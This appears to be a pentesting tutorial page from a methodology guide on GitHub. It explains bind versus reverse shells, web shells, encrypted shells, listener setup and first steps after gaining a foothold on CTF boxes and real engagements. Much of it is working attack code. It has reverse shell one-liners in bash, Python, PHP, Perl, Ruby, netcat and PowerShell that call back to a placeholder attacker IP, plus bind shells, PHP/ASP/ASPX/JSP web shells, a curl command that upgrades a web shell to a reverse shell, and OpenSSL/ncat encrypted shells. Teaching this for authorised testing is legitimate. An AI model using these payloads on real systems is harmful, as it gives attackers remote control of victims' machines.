Skip to content

Latest commit

 

History

History
662 lines (518 loc) · 21.8 KB

File metadata and controls

662 lines (518 loc) · 21.8 KB

Shell Types — Bind vs Reverse and Everything In Between

Everything before this section was about getting to the point where code executes on a target. This section is about what happens the moment it does. A shell is how you talk to that machine — how you give it commands, navigate its file system, read its files, and move through the network it sits on. Getting a shell is not the end of the story. Getting a shell you can actually work in — stable, interactive, fully functional — that is the skill most people underestimate until they lose access at the worst possible moment.


🔰 Beginners: Start here before any other shells file. The concepts in this section underpin everything in the rest of the shells section. Shell types, how connections work, and why any of this matters are all explained from scratch.

Seasoned practitioners: The decision framework and protocol-specific shell techniques in the later sections are worth reviewing. Jump to When to Use Which Shell if the fundamentals are solid.


Before you start — know these terms:

  • Shell — a command-line interface that lets you type commands and receive output. On Linux it is usually bash or sh. On Windows it is cmd.exe or PowerShell. A shell on a target machine means you can run commands on that machine.
  • Listener — a program on your machine that waits for an incoming connection. When a reverse shell fires, it connects to your listener. Netcat is the most common listener.
  • Port — a numbered virtual door on a machine. Connections go to specific ports. Your listener opens a port and waits. The shell connects to that port.
  • Bind shell — the target opens a port and waits. You connect to it.
  • Reverse shell — your machine opens a port and waits. The target connects to you.
  • TTY — TeleTYpewriter. In modern usage it means a fully interactive terminal — one that supports arrow keys, tab completion, clear screen, and running interactive programs like text editors and password prompts. Most initial shells are not TTY — upgrading to a TTY shell is a critical step covered in the next file.

📋 Contents


🧠 What Is a Shell — Plain English

When you sit down at a computer and open a terminal — that black window where you type commands — you are using a shell. The shell takes what you type, passes it to the operating system, and shows you what the operating system says back.

You type: ls
Shell sends to OS: list the files in the current directory
OS responds: file1.txt  file2.py  folder1/
Shell shows you: file1.txt  file2.py  folder1/

A shell on a target machine works exactly the same way — except instead of sitting at that machine's keyboard, you are connected to it remotely over a network. You type commands on your machine, they travel across the network to the target, the target executes them, and the output travels back to your screen.

Why a shell is the goal:

Having a shell on a target machine means:

  • You can run any command the current user has permission to run
  • You can read files, write files, and move through the file system
  • You can install software, modify configurations, and change settings
  • You can pivot — use that machine as a stepping stone to reach other machines on the internal network
  • You can escalate privileges to gain even more access

A shell is not just access. It is a platform for everything that comes next.


🔌 How Shell Connections Work

Plain English:

Two machines need to connect to each other. Every network connection has two sides — one side that listens and one side that connects. Think of it like a phone call. Someone has to pick up the phone and wait. Someone else has to dial.

In the context of exploitation, this creates two approaches:

Approach 1 — Bind Shell:
Target machine picks up the phone and waits (opens a port)
You dial in (connect to that port)

Approach 2 — Reverse Shell:
You pick up the phone and wait (open a port on your machine)
Target machine dials out (connects back to you)

Which approach you use depends on the network environment — specifically who has firewall rules that block incoming connections.


📞 Bind Shells

Plain English:

A bind shell opens a port on the target machine and binds a shell to it. The shell is literally attached to that port — anything that connects to the port gets a shell. You connect to the target's port and commands you type go directly to the shell.

Target machine:
[Shell] ← bound to → [Port 4444] ← waiting for connections

Your machine:
Connect to TARGET-IP:4444 → shell appears

When bind shells work:

  • Your machine is behind a firewall that blocks incoming connections
  • You cannot receive incoming connections from the target
  • The target does not have outbound firewall rules blocking connections

When bind shells fail:

  • The target has a firewall blocking inbound connections (very common)
  • The target is behind NAT and port 4444 is not forwarded
  • Security monitoring alerts on newly opened listening ports

Setting up a bind shell:

# On the TARGET machine — this is what your exploit executes
# Linux bind shell — opens port 4444 and binds bash to it
nc -lvnp 4444 -e /bin/bash

# Or using bash directly
bash -i >& /dev/tcp/0.0.0.0/4444 0>&1

# Windows bind shell
nc.exe -lvnp 4444 -e cmd.exe

# On YOUR machine — after the bind shell is running
nc TARGET-IP 4444
# You are now in a shell on the target

📡 Reverse Shells

Plain English:

A reverse shell flips the connection direction. Instead of the target waiting for you to connect to it, the target connects out to you. Your machine is the one listening. The target is the one dialing.

Your machine:
[Listener] ← waiting on port 4444

Target machine:
[Exploit fires] → connects to YOUR-IP:4444 → shell sent through connection

Why reverse shells are more common than bind shells:

Most organizations have strict firewall rules about what can connect TO their servers from outside. Almost none restrict what their servers can connect TO on the outside. Outbound connections are considered normal — servers need to make API calls, download updates, send emails. An outbound connection to your listener looks like normal web traffic to most firewalls.

Setting up a reverse shell:

# Step 1 — on YOUR machine — start the listener first
nc -lvnp 4444

# Step 2 — on the TARGET — this is what your exploit executes

# Bash reverse shell (most common on Linux)
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1

# Breaking this down:
# bash -i          → interactive bash shell
# >&               → redirect both stdout and stderr
# /dev/tcp/IP/PORT → Linux special file that opens a TCP connection
# 0>&1             → redirect stdin to the same connection

# Alternative bash (sometimes works when above does not)
bash -c 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1'

# Python3 reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Python2 reverse shell
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP reverse shell
php -r '$sock=fsockopen("YOUR-IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl reverse shell
perl -e 'use Socket;$i="YOUR-IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# Ruby reverse shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("YOUR-IP","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# Netcat with -e flag (older versions)
nc -e /bin/bash YOUR-IP 4444

# Netcat without -e flag (when -e is not available)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR-IP 4444 > /tmp/f

# PowerShell reverse shell (Windows)
powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient('YOUR-IP',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

⚖️ Bind vs Reverse — The Decision

Use REVERSE shell when:
✅ You can receive incoming connections (most common scenario)
✅ Target has outbound internet access
✅ Target firewall blocks inbound but not outbound
✅ You are on a CTF network
✅ When in doubt — this is the default choice

Use BIND shell when:
✅ Your machine is behind NAT/firewall blocking inbound
✅ You cannot set up a listener that the target can reach
✅ Target has no outbound internet access
✅ Internal network pivot where you cannot route back

Common mistake:
❌ Using a reverse shell when your machine has no public IP
   → The target cannot connect to 192.168.x.x from the internet
   → Use a VPN (like HTB VPN) or a public server as relay
   → On HTB always use your tun0 VPN IP — not your local IP

Finding your correct IP:

# On HTB — always use the tun0 interface IP
ip addr show tun0
# Look for: inet X.X.X.X

# On a real engagement — use your VPN or public IP
ip addr show    # Linux — list all interfaces
ipconfig        # Windows — list all interfaces

# Quick one-liner to get tun0 IP
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'

🌐 Web Shells

Plain English: A web shell is a shell delivered through a web page. Instead of a direct network connection, commands are sent via HTTP requests — through the web server — and output comes back in the HTTP response.

Web shells are useful when:

  • You can upload files to a web server
  • Direct network connections are blocked
  • You need a persistent foothold that survives reboots
# PHP web shell — the simplest possible
<?php system($_GET["cmd"]); ?>

# Access via browser or curl:
http://target.com/shell.php?cmd=id

# More feature-complete PHP web shell
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>$cmd</pre>";
    die;
}
?>

# Using curl to send commands
curl "http://target.com/shell.php?cmd=whoami"
curl "http://target.com/shell.php?cmd=cat+/etc/passwd"

Web shells for other languages:

<!-- ASP — older IIS servers -->
<% eval request("cmd") %>

<!-- ASPX — modern IIS -->
<%@ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start("cmd.exe","/c "+Request["cmd"]).StandardOutput.ReadToEnd()); %>
<!-- JSP — Java servers (Tomcat, JBoss, GlassFish) -->
<%
String cmd = request.getParameter("cmd");
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", cmd};
Process proc = rt.exec(commands);
java.io.BufferedReader stdInput = new java.io.BufferedReader(
    new java.io.InputStreamReader(proc.getInputStream()));
String s = null;
while ((s = stdInput.readLine()) != null) out.println(s);
%>

Upgrading from web shell to reverse shell:

# A web shell is a starting point — not a destination
# Use it to execute a reverse shell one-liner

# Start your listener
nc -lvnp 4444

# Execute via web shell
curl "http://target.com/shell.php?cmd=bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261"

# Now you have a proper reverse shell

🔒 Encrypted Shells

Plain English: A standard netcat shell sends everything in plain text — including passwords you type, files you read, and commands you run. On a monitored network, this traffic is readable by anyone watching. Encrypted shells wrap the connection in encryption so the content cannot be read even if the traffic is captured.

Using OpenSSL for Encrypted Shells

# On YOUR machine — generate certificate and start encrypted listener
# Linux / macOS
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem \
  -days 365 -nodes -subj '/CN=localhost'
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

# On the TARGET — connect back with encrypted shell
# Linux
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | \
  openssl s_client -quiet -connect YOUR-IP:4444 > /tmp/s; rm /tmp/s

Using Ncat for Encrypted Shells

# Ncat is the modern replacement for netcat — part of nmap
# Supports SSL natively

# On YOUR machine — SSL listener
ncat --ssl -lvnp 4444

# On the TARGET — SSL reverse shell
ncat --ssl YOUR-IP 4444 -e /bin/bash

# Install ncat
# Kali Linux — pre-installed with nmap
# macOS
brew install nmap    # ncat comes with nmap
# Windows
# Download nmap installer from nmap.org — ncat.exe included

🎯 When to Use Which Shell

Scenario                              Recommended Shell
─────────────────────────────────────────────────────────
Standard CTF box                      Reverse shell → bash one-liner
Target has no outbound internet       Bind shell
You are behind NAT                    Bind shell or relay server
Need persistence through reboots      Web shell or cron-based reverse shell
Monitored network (real engagement)   Encrypted shell (OpenSSL or ncat --ssl)
Windows target                        PowerShell reverse shell or meterpreter
Need to run interactive programs      TTY shell (see upgrading-shells.md)
Uploading files to web server         Web shell first → upgrade to reverse
Multiple targets                      Metasploit sessions (see Metasploit file)

🎧 Setting Up Your Listener

Your listener must be running BEFORE the exploit fires. The target connects to your listener — if nothing is listening when it tries, the connection fails and you lose the shell.

Netcat — The Standard

# Basic listener — Linux / macOS
nc -lvnp 4444

# Breaking it down:
# -l → listen mode
# -v → verbose (shows when connection arrives)
# -n → no DNS resolution (faster)
# -p → port number

# Windows — download netcat for Windows
# https://github.com/int0x33/nc.exe/
nc.exe -lvnp 4444
# Or use ncat from nmap:
ncat -lvnp 4444

Rlwrap — Better Shell Experience

# rlwrap wraps netcat and gives you:
# → Arrow keys that work
# → Command history (up arrow)
# → Line editing

# Install
# Kali Linux
sudo apt install rlwrap

# macOS
brew install rlwrap

# Windows — not directly available
# Use WSL2 and run rlwrap inside WSL

# Use
rlwrap nc -lvnp 4444

🔊 Multiple Listeners — When and Why

Plain English: Sometimes one listener is not enough. You might need a backup in case the first shell drops. You might need a second port for a more stable upgraded shell. On some boxes you will get an initial foothold on one port and then need to catch a second reverse shell on a different port as part of a privilege escalation or lateral movement step.

Common scenarios where you need multiple listeners:

Scenario 1 — Initial shell + stable upgrade
→ Port 4444: catch the initial dumb shell
→ Port 5555: catch the upgraded stable shell after running
              the Python PTY upgrade and re-triggering the connection

Scenario 2 — Privilege escalation shell
→ Port 4444: your low-privilege initial shell
→ Port 5555: a second reverse shell triggered from a SUID binary,
              cron job, or sudo exploit — arrives as root

Scenario 3 — Backup listener
→ Port 4444: primary listener
→ Port 5555: backup in case 4444 drops during unstable box work
              some HTB boxes are genuinely flaky — having a backup
              saves you re-exploiting from scratch

Scenario 4 — Web shell + reverse shell simultaneously
→ Port 80:   your Python web server serving files to the target
→ Port 4444: your listener catching the reverse shell

Running multiple listeners — each in its own terminal tab:

# Tab 1 — primary listener
rlwrap nc -lvnp 4444

# Tab 2 — secondary listener or backup
rlwrap nc -lvnp 5555

# Tab 3 — web server for serving files to target
python3 -m http.server 80

# Tab 4 — your working terminal for running commands

💡 HTB specifically: Some boxes require you to catch multiple shells in sequence. If your exploit fires and you get a shell but then need to re-exploit or trigger a second connection as part of privilege escalation — always have a second listener ready on a different port before you need it. Nothing is more frustrating than watching a root shell connect to a port nobody was listening on.


⚡ The Moment You Get a Shell — Do This First

🚨 This order matters. A fresh shell — especially on CTF boxes — is often unstable. It can drop without warning. Commands that generate a lot of output can crash it. Doing the wrong thing first can cost you the shell before you have gotten anything useful out of it. Follow this sequence every time.

Step 1 — Stabilize Immediately

Before anything else — before whoami, before ls, before anything — stabilize the shell. An unstable shell will drop mid-command. Spending 30 seconds stabilizing saves you from re-exploiting from scratch.

# Quick Python PTY stabilization — run this the moment you land
python3 -c 'import pty; pty.spawn("/bin/bash")'

# If python3 is not available try python2
python -c 'import pty; pty.spawn("/bin/bash")'

# If neither works try
script /dev/null -c bash

# Then background the shell and fix terminal settings
# Press Ctrl+Z to background
# In YOUR terminal run:
stty raw -echo; fg

# Press Enter twice
# Then set terminal size
export TERM=xterm
stty rows 38 columns 116

💡 Full shell stabilization with socat, pwncat, and all methods is covered in depth in Upgrading Shells. The Python PTY method above is the quick version — enough to stop the shell from dropping while you work.

Step 2 — Confirm Who You Are

whoami
id

Step 3 — CTF Only — Grab the User Flag Immediately

🏁 On CTF boxes: Get the flag before anything else destabilizes the shell. One dropped connection and you are re-exploiting. The flag is the priority — everything else can wait.

# Find and read the user flag
cat /home/*/user.txt 2>/dev/null
find / -name user.txt 2>/dev/null
cat ~/user.txt

# If you land as a specific user
cat /home/USERNAME/user.txt

Step 4 — Confirm What You Have

# What machine is this?
hostname

# What operating system?
uname -a
cat /etc/os-release

# Where are you?
pwd

# What can you see?
ls -la

✅ Confirming Your Shell

Once stabilized and flag captured (CTF) — full confirmation:

# Who are you running as?
whoami
id

# What machine is this?
hostname

# What operating system?
uname -a           # Linux
systeminfo         # Windows
cat /etc/os-release  # Linux — more detail

# Where are you in the file system?
pwd

# What can you see?
ls -la             # Linux
dir                # Windows

# What network does this machine have?
ip addr            # Linux
ifconfig           # older Linux
ipconfig           # Windows

# Is this a container or a real machine?
cat /proc/1/cgroup    # if output contains docker or lxc — it is a container
ls /.dockerenv        # exists in Docker containers

# What other machines can this machine reach?
ip route           # Linux routing table
route print        # Windows routing table
cat /etc/hosts     # any hardcoded hostnames

⚔️ CTF vs Real World

CTF Real Engagement
Shell type Reverse shell almost always Reverse shell — but encrypted
Listener nc -lvnp 4444 ncat --ssl or Metasploit handler
Port choice Any port works Use 443 or 80 — less suspicious
First action Stabilize → grab user.txt → enumerate Stabilize → full system enumeration
Flag capture user.txt immediately after stabilizing Not applicable — document findings
Multiple listeners 4444 + 5555 ready before exploiting Multiple handlers in Metasploit
Shell stability Nice to have Essential — losing access is costly
TTY upgrade Do it for comfort Do it immediately — required
Documentation Screenshot the flag Screenshot every command and output
Cleanup Not required Remove listeners, shells, and artifacts

🔗 Related References

Resource What It Covers
Reverse Shells Every reverse shell one-liner worth knowing
Upgrading Shells Turning a dumb shell into a full TTY
Shell Tools Netcat, Socat, Pwncat, Evil-WinRM
Shell Cheatsheet One page quick reference
Evasion Making shells bypass detection
Manual Exploitation Getting to the point of having a shell

by SudoChef · Part of the SudoCode Pentesting Methodology Guide